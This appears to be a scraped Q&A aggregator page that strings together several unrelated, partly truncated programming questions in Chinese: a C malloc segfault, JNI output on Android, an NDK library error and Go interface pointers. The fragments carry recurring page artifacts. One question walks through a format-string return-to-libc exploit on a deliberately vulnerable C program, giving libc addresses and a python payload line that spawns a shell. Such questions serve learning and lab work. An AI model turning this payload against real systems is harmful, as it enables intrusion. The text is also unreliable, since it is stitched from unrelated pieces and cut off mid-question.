我已经用以下格式定义了数组,但显然该程序仅在CASE B中正常工作.
案例A:
int **M1;
M1 = (int **)malloc(m * sizeof(int *));
for (int i=0; i<m; i++){
M1[i] = (int *)malloc(d * sizeof(int));
}
Run Code Online (Sandbox Code Playgroud)
案例B:
int (*M1)[m] = malloc(sizeof(int[m][d]));
Run Code Online (Sandbox Code Playgroud)
我在CASE A中遇到了分段错误.可能是什么原因?
我希望将printf本机代码(in C)中语句的输出打印到 android 屏幕上。由于我希望在 android 屏幕上看到许多输出,因此我想要的不仅仅是 JNI 函数末尾的 return 语句,它为每个函数打印一个文本。怎么办?
编辑:
例如在我的 C 代码中,如果我想在像“ Hello World”这样的函数中间打印一些东西,我该怎么办?现在,我可以only from return!使用setText方法在 android 屏幕上打印“ ” 。
jstring Java_com_example_encryptString( JNIEnv* env, jobject thiz)
{
printf("Hello World");
return (*env)->NewStringUTF(env, "only from return!");
}
Run Code Online (Sandbox Code Playgroud)
我知道一种方法,我从 Java 类调用此方法并用于TextViews在 android 屏幕上打印它。但是,这只能获取和打印函数返回的值,而不能打印其他任何值。我不能打印函数没有返回的任何其他值吗?
谢谢。
注意:我不是在 logcat 中寻找 android 日志。
我正在尝试使用格式字符串攻击向量对以下代码实施返回到 libc 攻击。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char a[10];
scanf("%s",&a);
printf(a);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我想通了使用系统()的地址p system的命令gdb。通过使用 对堆栈帧的检查x/500s $esp,我计算出包含\bin\sh.
system: 0xf7e2cda0
exit: 0xf7e209d0
\bin\bash: 0xffffd207
Run Code Online (Sandbox Code Playgroud)
有了这些东西,我构造了以下格式字符串:
python -c 'print "A"*14 + "\xbc\xcd\xff\xff" + "\xa0\xcd\xe2\xf7" + "\xd0\x09\xe2\xf7" + "\x07\xd2\xff\xff"' > inp
Run Code Online (Sandbox Code Playgroud)
其中0xffffcdbc - 0x4是包含系统地址0xf7e2cda0值的本地地址。
我使用编译程序gcc -m32 -fno-stack-protector -o sh sh.c并使用gdb sh. 执行后,在输入时r<inp,我得到以下输出
如上所示,显示了一些错误命令,我只有在r再次运行命令后才能进入 shell …
我在eclipse中使用android ndk.我编译了我的项目,但在运行时遇到了错误.我有libcrytpoNative.so和libsslNative.so文件但我得到这个错误libcrypto.so.1.0.0没有找到错误.我该怎么解决这个问题?
这是输出 ndk-build V=1
Android NDK: WARNING: APP_PLATFORM android-21 is larger than android:minSdkVersion 14 in ./AndroidManifest.xml
rm -f ./libs/arm64-v8a/lib*.so ./libs/armeabi/lib*.so ./libs/armeabi-v7a/lib*.so ./libs/armeabi-v7a-hard/lib*.so ./libs/mips/lib*.so ./libs/mips64/lib*.so ./libs/x86/lib*.so ./libs/x86_64/lib*.so
rm -f ./libs/arm64-v8a/gdbserver ./libs/armeabi/gdbserver ./libs/armeabi-v7a/gdbserver ./libs/armeabi-v7a-hard/gdbserver ./libs/mips/gdbserver ./libs/mips64/gdbserver ./libs/x86/gdbserver ./libs/x86_64/gdbserver
rm -f ./libs/arm64-v8a/gdb.setup ./libs/armeabi/gdb.setup ./libs/armeabi-v7a/gdb.setup ./libs/armeabi-v7a-hard/gdb.setup ./libs/mips/gdb.setup ./libs/mips64/gdb.setup ./libs/x86/gdb.setup ./libs/x86_64/gdb.setup
[armeabi-v7a] Install : libcpabe.so => libs/armeabi-v7a/libcpabe.so
install -p ./obj/local/armeabi-v7a/libcpabe.so ./libs/armeabi-v7a/libcpabe.so
/home/yogi/android-ndk/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-androideabi-strip --strip-unneeded ./libs/armeabi-v7a/libcpabe.so
[armeabi-v7a] Install : libcryptoNative.so => libs/armeabi-v7a/libcryptoNative.so
install -p ./obj/local/armeabi-v7a/libcryptoNative.so ./libs/armeabi-v7a/libcryptoNative.so
/home/yogi/android-ndk/toolchains/arm-linux-androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-androideabi-strip --strip-unneeded ./libs/armeabi-v7a/libcryptoNative.so
[armeabi-v7a] …Run Code Online (Sandbox Code Playgroud) 我在测试 golang 功能时遇到了这个概念,我可以将接口的指针用作接口本身。在下面的代码,我怎么保证该值one的变化random。
package main
import (
"fmt"
)
func some(check interface{}) {
check = "random"
}
func main() {
var one *interface{}
some(one)
fmt.Println(one)
}
Run Code Online (Sandbox Code Playgroud)
具体来说,我需要可以将接口指针传递给接受接口作为参数的函数的方法。
谢谢!
我需要通过引用传递struct类型的接口,如下所示.既然,我不能使用接口指针来构造结构类型变量,我应该如何更改下面的代码来修改te值10?
package main
import (
"fmt"
)
func another(te *interface{}) {
*te = check{Val: 10}
}
func some(te *interface{}) {
*te = check{Val: 20}
another(te)
}
type check struct {
Val int
}
func main() {
a := check{Val: 100}
p := &a
fmt.Println(*p)
some(p)
fmt.Println(*p)
}
Run Code Online (Sandbox Code Playgroud)
谢谢!
PS我已经读过,传递指向接口的指针不是一个很好的做法.请告诉我什么是更好的方法来处理它